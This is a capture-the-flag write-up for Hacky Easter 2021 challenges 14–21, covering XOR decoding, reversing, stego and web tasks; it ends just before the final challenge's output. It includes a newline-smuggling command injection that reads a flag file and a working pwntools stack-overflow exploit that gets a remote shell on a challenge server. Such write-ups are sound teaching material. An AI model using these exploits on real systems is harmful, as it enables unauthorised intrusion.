┌──(kali㉿kali)-[~/ctf/he21/14] └─$ hexdump -C haxxorwhat 00000000 e1 31 36 3f 62 78 69 2b 68 61 78 75 26 3a 37 73 |.16?bxi+haxu&:7s| 00000010 68 61 7c 78 6f 72 77 21 60 62 78 78 6f 3a b0 fa |ha|xorw!`bxxo:..| 00000020 d9 61 78 78 6b 15 32 6c 29 61 78 c9 e0 79 8f 40 |.axxk.2l)ax..y.@| 00000030 6d 61 78 78 4f 11 3b 73 25 61 78 02 49 72 73 a1 |maxxO.;s%ax.Irs.| 00000040 ec 61 78 82 6f 72 73 a1 80 61 78 0d 5f 72 73 cb |.ax.ors..ax._rs.| 00000050 08 61 78 42 f7 72 73 36 18 fd c2 29 53 72 73 23 |.axB.rs6...)Srs#| 00000060 4a 31 34 2c 2a 35 03 6d 68 61 78 7a 6d 70 77 24 |J14,*5.mhaxzmpw$| 00000070 6e 69 72 73 62 62 61 32 70 7b 61 67 4d 6d 54 0a |nirsbba2p{agMmT.| 00000080 4d 4e 4b 53 59 49 73 21 68 51 44 3a 4b 34 41 0f |MNKSYIs!hQD:K4A.| 00000090 3c 5a 42 1f 28 34 0b 73 3c ef 19 1b cc 1c 03 99 |<ZB.(4.s<.......| ...

The name of the challenge and the file contains xor and the file is supposed to be an image.

Assuming the image is a PNG, the header of it will be constant. Thus we can take any PNG (e.g. from challenge 10) and XOR the header with the beginning of the data of the file haxxorwhat. The result of this is the XOR key used:

>>> ct1 = open('haxxorwhat','rb').read() >>> ct2 = open('../10/flag','rb').read() >>> r = b'' >>> for i in range(16): ... r += bytes([ct1[i]^ct2[i]]) ... >>> r b'haxxors!haxxors!'

Accordingly the XOR key is haxxors!.

Now we only need to apply this key on the whole content of the file, which can be done using the following script:

#!/usr/bin/env python3 key = b'haxxors!' ct = open('haxxorwhat', 'rb').read() r = b'' for i in range(len(ct)): r += bytes([ct[i]^key[i%len(key)]]) f = open('out','wb') f.write(r) f.close()

Running the script will create the output file out:

┌──(kali㉿kali)-[~/ctf/he21/14] └─$ ./crax0r.py ┌──(kali㉿kali)-[~/ctf/he21/14] └─$ file out out: PNG image data, 1024 x 1024, 8-bit colormap, non-interlaced

This is actually the egg:

Egg

Now we only need to scan the QR code:

┌──(kali㉿kali)-[~/ctf/he21/14] └─$ zbarimg out QR-Code:he2021{r34l_x0r_h4xx0r} scanned 1 barcode symbols from 1 images in 0.08 seconds

The flag is he2021{r34l_x0r_h4xx0r}.


HE21.15 Social Checker

Level:5 (medium)
Category:Web
Points:200
Author:PS
Social Checker - check if your favourite social media site is online!

http://46.101.107.117:2103

Note: The service is restarted every hour at x:00.

Hint

Some characters are blocked - find a workaround!

The provided website can be used to check if a given social media site is online:

Website

Within an unmodified request the POST parameter url is set to the social media site (e.g. twitter.com). The result contains the name of the requested website (twitter.com), its ip address and port (104.244.42.193:80) as well as the status (open):

Website

Let’s start by changing the url to target localhost:

Website

This works. At next let’s try to add a simple command injection:

Website

Obviously there is some kind of filter.

When we provide an invalid port number, we can verify that nc is used (which also means that an OS command is directly invoked):

Website

In order to find possible characters, which are not filtered and can be used for a command injection, we can fuzz the service using ffuf. The wordlist we use (URI-hex.txt) contains all possible 256 bytes (URL encoded): %00, %01, … %ff. The default response size is 29, so we filter these responses out:

┌──(kali㉿kali)-[~/ctf/he21/15] └─$ ffuf -w /usr/share/wordlists/SecLists/Fuzzing/URI-hex.txt -u http://46.101.107.117:2103/check.php -d 'url=127.0.0.1FUZZ' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -fs 29 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0 ________________________________________________ :: Method : POST :: URL : http://46.101.107.117:2103/check.php :: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Fuzzing/URI-hex.txt :: Header : Content-Type: application/x-www-form-urlencoded; charset=UTF-8 :: Data : url=127.0.0.1FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response size: 29 ________________________________________________ %27 [Status: 200, Size: 0, Words: 1, Lines: 1] %00 [Status: 200, Size: 0, Words: 1, Lines: 1] %20 [Status: 200, Size: 46, Words: 4, Lines: 1] %09 [Status: 200, Size: 30, Words: 3, Lines: 2] %29 [Status: 200, Size: 0, Words: 1, Lines: 1] %22 [Status: 200, Size: 0, Words: 1, Lines: 1] %28 [Status: 200, Size: 0, Words: 1, Lines: 1] %0a [Status: 200, Size: 18, Words: 4, Lines: 2] %30 [Status: 200, Size: 32, Words: 3, Lines: 2] %26 [Status: 200, Size: 18, Words: 4, Lines: 2] %3a [Status: 200, Size: 31, Words: 5, Lines: 2] %39 [Status: 200, Size: 32, Words: 3, Lines: 2] %33 [Status: 200, Size: 32, Words: 3, Lines: 2] %3b [Status: 200, Size: 46, Words: 4, Lines: 1] %35 [Status: 200, Size: 32, Words: 3, Lines: 2] %37 [Status: 200, Size: 32, Words: 3, Lines: 2] %32 [Status: 200, Size: 32, Words: 3, Lines: 2] %34 [Status: 200, Size: 32, Words: 3, Lines: 2] %38 [Status: 200, Size: 32, Words: 3, Lines: 2] %31 [Status: 200, Size: 32, Words: 3, Lines: 2] %36 [Status: 200, Size: 32, Words: 3, Lines: 2] %3e [Status: 200, Size: 0, Words: 1, Lines: 1] %3c [Status: 200, Size: 0, Words: 1, Lines: 1] %60 [Status: 200, Size: 0, Words: 1, Lines: 1] %7c [Status: 200, Size: 18, Words: 4, Lines: 2] %5c [Status: 200, Size: 31, Words: 5, Lines: 2] :: Progress: [256/256] :: Job [1/1] :: 51 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

Now we have a few characters, which generated a different response.

By using %0a we can see an error message from sh, which complains that the command 80 is unknown:

Website

Obviously the injection point looks something like this (according to the X-Powered-By header we are dealing with php):

system("nc ".$_POST['url'].":80")

Thus we can run a command by adding another %0a after the command, we want to execute:

Website

Using ls we can see that there is a file called flag.txt:

Website

Though we cannot use a space:

Website

Using < to redirect the contents of flag.txt to cat is sufficient:

Website

The flag is he2021{1ts_fun_t0_1nj3kt_k0mmand5}.


HE21.16 LOTL

Level:5 (medium)
Category:Pwn
Points:200
Author:daubsi
Save the planet!

Well, we should then better LOTL and use what we have, right?

nc 46.101.107.117 2102

Get a shell and read the flag.

Note: The service is restarted every hour at x:00.

lotl

Hint

Ubuntu 18.04 64 Bit

The provided file is a 64-bit ELF binary, which is dynamically linked, not stripped, without stack canaries, nx enabled, no pic and partial relro:

┌──(kali㉿kali)-[~/ctf/he21/16] └─$ file lotl lotl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=05ea252a13b095c8275884ab0350d0f6848f4e9c, not stripped ┌──(kali㉿kali)-[~/ctf/he21/16] └─$ r2 -A lotl [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x00400670]> iI arch x86 baddr 0x400000 binsz 6985 bintype elf bits 64 canary false class ELF64 compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 crypto false endian little havecode true intrp /lib64/ld-linux-x86-64.so.2 laddr 0x0 lang c linenum true lsyms true machine AMD x86-64 architecture maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath NONE sanitiz false static false stripped false subsys linux va true

We can also see that there is a function called profit, which spawns a shell:

[0x00400670]> afl 0x00400670 1 42 entry0 0x004006b0 4 42 -> 37 sym.deregister_tm_clones 0x004006e0 4 58 -> 55 sym.register_tm_clones 0x00400720 3 34 -> 29 entry.fini0 0x00400750 1 7 entry.init0 0x004008f0 1 2 sym.__libc_csu_fini 0x00400757 1 97 sym.ignore_me_init_buffering 0x00400660 1 6 sym.imp.setvbuf 0x0040086d 1 19 sym.profit 0x00400610 1 6 sym.imp.system 0x004008f4 1 9 sym._fini 0x004007b8 3 47 sym.kill_on_timeout 0x00400620 1 6 sym.imp.printf 0x00400600 1 6 sym.imp._exit 0x00400880 4 101 sym.__libc_csu_init 0x004006a0 1 2 sym._dl_relocate_static_pie 0x00400809 1 100 main 0x004007e7 1 34 sym.ignore_me_init_signal 0x00400640 1 6 sym.imp.signal 0x00400630 1 6 sym.imp.alarm 0x00400650 1 6 sym.imp.gets 0x004005d8 3 23 sym._init [0x00400670]> pdf @ sym.profit ┌ 19: sym.profit (); │ 0x0040086d 55 push rbp │ 0x0040086e 4889e5 mov rbp, rsp │ 0x00400871 488d3d000100. lea rdi, qword str.bin_sh ; 0x400978 ; "/bin/sh" ; const char *string │ 0x00400878 e893fdffff call sym.imp.system ; int system(const char *string) │ 0x0040087d 90 nop │ 0x0040087e 5d pop rbp └ 0x0040087f c3 ret

Within the main function the unsafe function gets is used, to read user input:

[0x00400670]> pdf @ sym.main ; DATA XREF from entry0 @ 0x40068d ┌ 100: int main (int argc, char **argv); │ ; var char **var_30h @ rbp-0x30 │ ; var int64_t var_24h @ rbp-0x24 │ ; var char *s @ rbp-0x20 │ ; arg int argc @ rdi │ ; arg char **argv @ rsi │ 0x00400809 55 push rbp │ 0x0040080a 4889e5 mov rbp, rsp │ 0x0040080d 4883ec30 sub rsp, 0x30 │ 0x00400811 897ddc mov dword [var_24h], edi ; argc │ 0x00400814 488975d0 mov qword [var_30h], rsi ; argv │ 0x00400818 b800000000 mov eax, 0 │ 0x0040081d e835ffffff call sym.ignore_me_init_buffering │ 0x00400822 b800000000 mov eax, 0 │ 0x00400827 e8bbffffff call sym.ignore_me_init_signal │ 0x0040082c 488d3d050100. lea rdi, qword str.Welcome__Please_give_me_your_name ; 0x400938 ; "Welcome! Please give me your name!\n> " ; const char *format │ 0x00400833 b800000000 mov eax, 0 │ 0x00400838 e8e3fdffff call sym.imp.printf ; int printf(const char *format) │ 0x0040083d 488d45e0 lea rax, qword [s] │ 0x00400841 4889c7 mov rdi, rax ; char *s │ 0x00400844 b800000000 mov eax, 0 │ 0x00400849 e802feffff call sym.imp.gets ; char *gets(char *s) │ 0x0040084e 488d45e0 lea rax, qword [s] │ 0x00400852 4889c6 mov rsi, rax │ 0x00400855 488d3d020100. lea rdi, qword str.Hi__s__nice_to_meet_you ; 0x40095e ; "Hi %s, nice to meet you!\n" ; const char *format │ 0x0040085c b800000000 mov eax, 0 │ 0x00400861 e8bafdffff call sym.imp.printf ; int printf(const char *format) │ 0x00400866 b800000000 mov eax, 0 │ 0x0040086b c9 leave └ 0x0040086c c3 ret

Since gets does not do any boundary checks and there are no canaries, this can be used to simply overwrite the return address on the stack in order to control the instruction pointer.

At first let’s determine the offset from the beginning of the buffer to the return address. We can for example use gdb-peda:

┌──(kali㉿kali)-[~/ctf/he21/16] └─$ gdb ./lotl Reading symbols from ./lotl... (No debugging symbols found in ./lotl) gdb-peda$

Using the pattern_create command, we can generate a pattern of 200 bytes:

gdb-peda$ pattern_create 200 /tmp/pattern Writing pattern of 200 chars to filename "/tmp/pattern"

Now we run the program with the pattern:

gdb-peda$ r < /tmp/pattern Starting program: /home/kali/ctf/he21/16/lotl < /tmp/pattern Welcome! Please give me your name! > Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcA..., nice to meet you! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x0 RDX: 0x0 RSI: 0x7fffffffb920 ("Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA"...) RDI: 0x7ffff7faf670 --> 0x0 RBP: 0x6141414541412941 ('A)AAEAAa') RSP: 0x7fffffffdfd8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJ...") RIP: 0x40086c (<main+99>: ret) R8 : 0xffffffff R9 : 0xdf R10: 0x7fffffffdfb0 ("AAA%AAsAABAA$AAnAACA...") R11: 0x246 R12: 0x400670 (<_start>: xor ebp,ebp) R13: 0x0 R14: 0x0 R15: 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400861 <main+88>: call 0x400620 <printf@plt> 0x400866 <main+93>: mov eax,0x0 0x40086b <main+98>: leave => 0x40086c : ret 0x40086d <profit>: push rbp 0x40086e <profit+1>: mov rbp,rsp 0x400871 <profit+4>: lea rdi,[rip+0x100] # 0x400978 0x400878 <profit+11>: call 0x400610 <system@plt> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdfd8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAI...") 0008| 0x7fffffffdfe0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AA...") 0016| 0x7fffffffdfe8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5A...") 0024| 0x7fffffffdff0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6...") 0032| 0x7fffffffdff8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA...") 0040| 0x7fffffffe000 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiA...") 0048| 0x7fffffffe008 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAj...") 0056| 0x7fffffffe010 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAA...") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040086c in main ()

The program received a segmentation fault, because the return address was overwritten. The top value on the stack can be used to determine the offset from the beginning of the pattern:

gdb-peda$ pattern_offset "AA0AAFAAbAA1A" AA0AAFAAbAA1A found at offset: 40

The offset is 40. Accordingly the exploit to overwrite the return address with the address of profit looks like this:

#!/usr/bin/env python3 from pwn import * offset = 40 profit = 0x0040086d io = process('./lotl') expl = b'A'*offset expl += p64(profit) io.sendlineafter('name!', expl) io.interactive()

Running the exploit locally works fine:

┌──(kali㉿kali)-[~/ctf/he21/16] └─$ ./expl.py [+] Starting local process './lotl': pid 12373 [*] Switching to interactive mode > Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@, nice to meet you! $ id uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),133(scanner),142(kaboxer)

Though, when changing it to target the remote service…

... io = remote('46.101.107.117', 2102) ...

… it does not work:

┌──(kali㉿kali)-[~/ctf/he21/16] └─$ ./expl.py [+] Opening connection to 46.101.107.117 on port 2102: Done [*] Switching to interactive mode > Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@, nice to meet you! $ [*] Interrupted [*] Got EOF while reading in interactive

If you have experienced this behavior before, it’s quite obvious what is wrong. Otherwise it can be tough.

We can assume that the binary on the target server is exactly the same. What is probably not the same is the glibc. Some versions of it error out when the stack is not correctly 16 byte aligned. In order to fix this, we simply need to add a gadget to a ret instruction (rop nop), which effectively does nothing but consuming 8 bytes from the stack. This realigns the stack correctly.

We can for example use ROPgadget to find an appropriate gadget:

┌──(kali㉿kali)-[~/ctf/he21/16] └─$ ROPgadget --binary lotl| grep ': ret' 0x00000000004005ee : ret

The adjusted exploit script looks like this:

#!/usr/bin/env python3 from pwn import * offset = 40 profit = 0x0040086d ropnop = 0x004005ee io = remote('46.101.107.117', 2102) expl = b'A'*offset expl += p64(ropnop) expl += p64(profit) io.sendlineafter('name!', expl) io.interactive()

If we now run the script, it also works remotely:

┌──(kali㉿kali)-[~/ctf/he21/16] └─$ ./expl.py [+] Opening connection to 46.101.107.117 on port 2102: Done [*] Switching to interactive mode > Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xee@, nice to meet you! $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

Now we simply need to read the flag:

$ ls -al total 56 drwxr-xr-x 1 root root 4096 Mar 2 18:31 . drwxr-xr-x 1 root root 4096 Mar 2 18:31 .. -rw-r--r-- 1 root root 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 root root 3771 Apr 4 2018 .bashrc -rw-r--r-- 1 root root 807 Apr 4 2018 .profile -rwxrwxr-x 1 root root 8848 Mar 2 18:30 challenge1 -rw-rw-r-- 1 root root 40 Mar 2 18:30 flag -rwxrwxr-x 1 root root 18744 Mar 2 18:30 ynetd $ cat flag he2021{w3ll_th4t_w4s_4_s1mpl3_p4yl04d}

The flag is he2021{w3ll_th4t_w4s_4_s1mpl3_p4yl04d}.


HE21.17 Digizzled

Level:5 (medium)
Category:Reversing
Points:200
Author:PS
Had a flag, but it got digizzled. Can you recover it?

-------------------------------------  
      o                  o             
      | o      o         |             
    o-O   o--o   o-o o-o | o-o o-o     
   |  | | |  | |  /   /  | |-' |       
    o-o | o--O | o-o o-o o o-o o       
             |                         
         o--o                          
-------------------------------------  
enter flag: [REDACTED]    
digizzling...  
c5ab05ca73f205ca  

digizzle

The provided text file contains the disassembly of a python script:

┌──(kali㉿kali)-[~/ctf/he21/17] └─$ cat digizzle 1 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (None) 4 IMPORT_NAME 0 (re) 6 STORE_NAME 0 (re) 2 8 LOAD_NAME 0 (re) 10 LOAD_METHOD 1 (compile) 12 LOAD_CONST 2 ('^he2021\\{([dlsz134]){9}\\}$') 14 CALL_METHOD 1 16 STORE_NAME 2 (pattern) 4 18 LOAD_CONST 3 (<code object hizzle at 0x10b3ad270, file "digizzle.py", line 4>) 20 LOAD_CONST 4 ('hizzle') 22 MAKE_FUNCTION 0 24 STORE_NAME 3 (hizzle) 12 26 LOAD_CONST 5 (<code object smizzle at 0x10b3ad9c0, file "digizzle.py", line 12>) 28 LOAD_CONST 6 ('smizzle') 30 MAKE_FUNCTION 0 32 STORE_NAME 4 (smizzle) 15 34 LOAD_NAME 5 (print) 36 LOAD_CONST 7 ('-------------------------------------') 38 CALL_FUNCTION 1 40 POP_TOP 16 42 LOAD_NAME 5 (print) 44 LOAD_CONST 8 (' o o ') 46 CALL_FUNCTION 1 48 POP_TOP 17 50 LOAD_NAME 5 (print) 52 LOAD_CONST 9 (' | o o | ') 54 CALL_FUNCTION 1 56 POP_TOP 18 58 LOAD_NAME 5 (print) 60 LOAD_CONST 10 (' o-O o--o o-o o-o | o-o o-o ') 62 CALL_FUNCTION 1 64 POP_TOP 19 66 LOAD_NAME 5 (print) 68 LOAD_CONST 11 (" | | | | | | / / | |-' | ") 70 CALL_FUNCTION 1 72 POP_TOP 20 74 LOAD_NAME 5 (print) 76 LOAD_CONST 12 (' o-o | o--O | o-o o-o o o-o o ') 78 CALL_FUNCTION 1 80 POP_TOP 21 82 LOAD_NAME 5 (print) 84 LOAD_CONST 13 (' | ') 86 CALL_FUNCTION 1 88 POP_TOP 22 90 LOAD_NAME 5 (print) 92 LOAD_CONST 14 (' o--o ') 94 CALL_FUNCTION 1 96 POP_TOP 23 98 LOAD_NAME 5 (print) 100 LOAD_CONST 7 ('-------------------------------------') 102 CALL_FUNCTION 1 104 POP_TOP 24 106 LOAD_NAME 6 (input) 108 LOAD_CONST 15 ('enter flag:') 110 CALL_FUNCTION 1 112 STORE_NAME 7 (s) 25 114 LOAD_NAME 2 (pattern) 116 LOAD_METHOD 8 (match) 118 LOAD_NAME 7 (s) 120 CALL_METHOD 1 122 POP_JUMP_IF_FALSE 174 26 124 LOAD_NAME 5 (print) 126 LOAD_CONST 16 ('digizzling...') 128 CALL_FUNCTION 1 130 POP_TOP 27 132 LOAD_NAME 3 (hizzle) 134 LOAD_NAME 7 (s) 136 CALL_FUNCTION 1 138 STORE_NAME 9 (a) 28 140 LOAD_NAME 3 (hizzle) 142 LOAD_NAME 7 (s) 144 LOAD_CONST 1 (None) 146 LOAD_CONST 1 (None) 148 LOAD_CONST 17 (-1) 150 BUILD_SLICE 3 152 BINARY_SUBSCR 154 CALL_FUNCTION 1 156 STORE_NAME 10 (b) 29 158 LOAD_NAME 5 (print) 160 LOAD_NAME 4 (smizzle) 162 LOAD_NAME 9 (a) 164 LOAD_NAME 10 (b) 166 CALL_FUNCTION 2 168 CALL_FUNCTION 1 170 POP_TOP 172 JUMP_FORWARD 8 (to 182) 31 >> 174 LOAD_NAME 5 (print) 176 LOAD_CONST 18 ('wrong format!') 178 CALL_FUNCTION 1 180 POP_TOP >> 182 LOAD_CONST 1 (None) 184 RETURN_VALUE Disassembly of <code object hizzle at 0x10b3ad270, file "digizzle.py", line 4>: 5 0 LOAD_CONST 1 (13) 2 STORE_FAST 1 (s1) 6 4 LOAD_CONST 2 (37) 6 STORE_FAST 2 (s2) 7 8 SETUP_LOOP 52 (to 62) 10 LOAD_GLOBAL 0 (range) 12 LOAD_GLOBAL 1 (len) 14 LOAD_FAST 0 (s) 16 CALL_FUNCTION 1 18 CALL_FUNCTION 1 20 GET_ITER >> 22 FOR_ITER 36 (to 60) 24 STORE_FAST 3 (n) 8 26 LOAD_FAST 1 (s1) 28 LOAD_GLOBAL 2 (ord) 30 LOAD_FAST 0 (s) 32 LOAD_FAST 3 (n) 34 BINARY_SUBSCR 36 CALL_FUNCTION 1 38 BINARY_ADD 40 LOAD_CONST 3 (65521) 42 BINARY_MODULO 44 STORE_FAST 1 (s1) 9 46 LOAD_FAST 1 (s1) 48 LOAD_FAST 2 (s2) 50 BINARY_MULTIPLY 52 LOAD_CONST 3 (65521) 54 BINARY_MODULO 56 STORE_FAST 2 (s2) 58 JUMP_ABSOLUTE 22 >> 60 POP_BLOCK 10 >> 62 LOAD_FAST 2 (s2) 64 LOAD_CONST 4 (16) 66 BINARY_LSHIFT 68 LOAD_FAST 1 (s1) 70 BINARY_OR 72 RETURN_VALUE Disassembly of <code object smizzle at 0x10b3ad9c0, file "digizzle.py", line 12>: 13 0 LOAD_GLOBAL 0 (format) 2 LOAD_FAST 0 (a) 4 LOAD_CONST 1 ('x') 6 CALL_FUNCTION 2 8 LOAD_GLOBAL 0 (format) 10 LOAD_FAST 1 (b) 12 LOAD_CONST 1 ('x') 14 CALL_FUNCTION 2 16 BINARY_ADD 18 RETURN_VALUE

I went through the disassembly line by line and reimplemented the script.

Because of the provided regex ‘^he2021\\{([dlsz134]){9}\\}$’, we now that the alphabet for the flag is dlsz134 and the length is 9.

By using a simple bruteforce arround the reimplemented script, we can determine the correct flag:

#!/usr/bin/env python3 def hizzle(s): # line 4 s1=13 s2=37 for n in range(len(s)): s1 = (s1 + ord(s[n])) % 65521 s2 = (s1*s2) % 65521 return s1 + (s2<<16) def smizzle(a,b): # line 12 return format(a,'x')+format(b,'x') print('-------------------------------------') print(' o o ') print(' | o o | ') print(' o-O o--o o-o o-o | o-o o-o ') print(" | | | | | | / / | |-' | ") print(' o-o | o--O | o-o o-o o o-o o ') print(' | ') print(' o--o ') print('-------------------------------------') alpha = 'dlsz134' for a1 in alpha: for a2 in alpha: for a3 in alpha: for a4 in alpha: for a5 in alpha: for a6 in alpha: for a7 in alpha: for a8 in alpha: for a9 in alpha: #input('enter flag:') s = 'he2021{'+a1+a2+a3+a4+a5+a6+a7+a8+a9+'}' #if (not pattern.match(s)): print('fail') a = hizzle(s) b = hizzle(s[::-1]) if (smizzle(a,b) == 'c5ab05ca73f205ca'): print(s) quit()

A few seconds after running the script, the flag is printed:

┌──(kali㉿kali)-[~/ctf/he21/17] └─$ ./brut0r.py ------------------------------------- o o | o o | o-O o--o o-o o-o | o-o o-o | | | | | | / / | |-' | o-o | o--O | o-o o-o o o-o o | o--o ------------------------------------- he2021{d1s4zzl3d}

The flag is he2021{d1s4zzl3d}.


HE21.18 Bunny Beat

Level:5 (easy)
Category:Stego
Points:100
Author:khae
The bunnies have discovered minimal beats!

But where is the flag?

bunnybeat.wav

I used Sonic Visualiser to open the provided .wav file.

By choosing Layer -> Add Spectrogram the spectrogram can be displayed, which contains the flag:

Spectro

The flag is he2021{Sp3ctrogramsROCK!}.


HE21.19 😈

Level:5 (easy)
Category:Misc
Points:100
Author:khae
One of the bunnies made a new friend. But when asked for the name, he only got the response below.

Can you find out the friend's name, in UPPERCASE?

▫▫😈😈▫▫▫😈▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫😈😈▫▫▫😈😈▫😈😈▫▫▫😈😈▫😈😈▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫▫▫▫😈😈▫▫▫😈

flag format: he2021{JOHNDOE}

Hint

We need the name of what you find, in UPPERCASE, and wrapped in he2021{...}.

Yet again CyberChef can be used to solve this challenge.

At first we replace the white squares (▫) with a 0 and the devil smileys (😈) with a 1 using Find / Replace. The resulting bit stream can be converted to ASCII using From Binary:

Flag

This results in the number 1000000000000066600000000000001.

By googling for this number, we can find out that this is actually a prime number called Belphegor’s prime.

Accordingly the name we are looking for is belphegor.

The flag is he2021{BELPHEGOR}.


HE21.20 Run Me, Baby!

Level:5 (easy)
Category:Reversing
Points:100
Author:PS
This one's easy, ain't it? Just run the .class file. Hope you like Java!

runme.class

In order to run the provided .class file, I downloaded groovy-3.0.7.jar from here.

I already had different versions of java installed. java-14-openjdk worked fine by providing groovy-3.0.7.jar (as well as the current directory) within the class path:

$ /usr/lib/jvm/java-14-openjdk-amd64/bin/java -cp "./groovy-3.0.7.jar:." runme Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true The flag is: he2021{isnt_17_gr00vy_baby?}

The flag is he2021{isnt_17_gr00vy_baby?}.


HE21.21 Memeory 3.0 – The Finale

Level:6 (hard)
Category:Web
Points:300
Author:otaku
We finally fixed Memeory 2.0 and proudly release Memeory 3.0 aka the supersecure-Memeory.

Flagbounty for everyone who can solve 10 successive rounds. Time per round is 30 seconds and only 3 missclicks are allowed.

http://46.101.107.117:2107

Note: The service is restarted every hour at x:00.

Hint

Not solvable via UI/browser, really.

The Memeory is a real classic from HackyEaster: Memeory 2018, Memeory 2.0 2019.

This third iteration is even more challenging:

Memeory

The major challenge this time was that the single pictures were always slightly modified by the server. This includes not only rotating but also coloring:

This made is more challenging to compare the pictures in order to find the correct pairs.

I used to following (far from being good, but working) strategy:

  • Retrieve the images in multiple threads and for each store the 4 possible rotations in a PIL.Image object
  • Try to find matches by using the difference image from PIL.ImageChops (only works if the coloring is the same)
  • Try to find matches by looking for images where the difference in the RGB values for each pixel is quite low
  • Try to find matches by looking for equal dimensions

This resulted in the following script:

#!/usr/bin/env python3 import requests import random from PIL import Image from PIL import ImageChops from threading import Thread url = 'http://46.101.107.117:2107' class ImageGett0r(Thread): def __init__(self, s, imgs, n): super(ImageGett0r, self).__init__() self.s = s self.imgs = imgs self.n = n def run(self): for i in self.n: r = self.s.get(url+'/pic/'+str(i)) open('./pic/'+str(i), 'wb').write(r.content) img = Image.open('./pic/'+str(i)) for j in range(4): self.imgs[str(i)+'_'+str(j)] = img.rotate(90*j) def are_the_same(i1, i2): if (i1.size[0] == 200 and i1.size[1] == 200 and i2.size[0] == 200 and i2.size[1] == 200): diff = ImageChops.difference(i1, i2) # difference is actually empty? got a match! if (not diff.getbbox()): return True if (diff.getbbox()[0] > 0 or diff.getbbox()[1] > 0): return True # if each RGB value in the diff image is quite low, the images are probably the same pix = diff.load() for w in range(diff.size[0]): for h in range(diff.size[1]): p = pix[w,h] for s in range(3): if (p[s] > 100): return False return True # a few strange dimensions.. luckily only one pair per dimension for d in [150, 193, 201, 211]: if ((i1.size[0] == d or i1.size[1] == d) and (i2.size[0] == d or i2.size[1] == d)): return True return False s = requests.Session() for rnd in range(1,11): print('Round '+str(rnd)+'/10') r = s.get(url) imgs = {} ts = [] for i in range(1,99,14): t = ImageGett0r(s, imgs, list(range(i,i+14))) t.start() ts.append(t) for t in ts: t.join() matches = [] for i in range(1,99): for j in range(1,99): if (i == j): continue for x in range(4): if (are_the_same(imgs[str(i)+'_0'], imgs[str(j)+'_'+str(x)])): if ((i,j) not in matches and (j,i) not in matches): matches.append((i,j)) break print('- found ' + str(len(matches))+' matches') left = [] for i in range(1,99): ok = False for m in matches: if (i == m[0] or i == m[1]): ok = True break if (not ok): left.append(i) print('pairs left: ' + str(left)) random.shuffle(left) while (len(matches) < 49): # a little bit of guessing matches.append((left.pop(), left.pop())) r = None for m in matches: r = s.post(url+'/solve', data={'first':m[0], 'second':m[1]}, proxies={'http':'http://localhost:8080'}) if (rnd == 10): print(r.text) elif (r.text != 'nextRound'): print('fail') quit()

If the above mentioned strategies did not find all matches, the script chooses the remaining matches randomly. Though it turned out to be relatively reliable.

Running the script yields the flag:

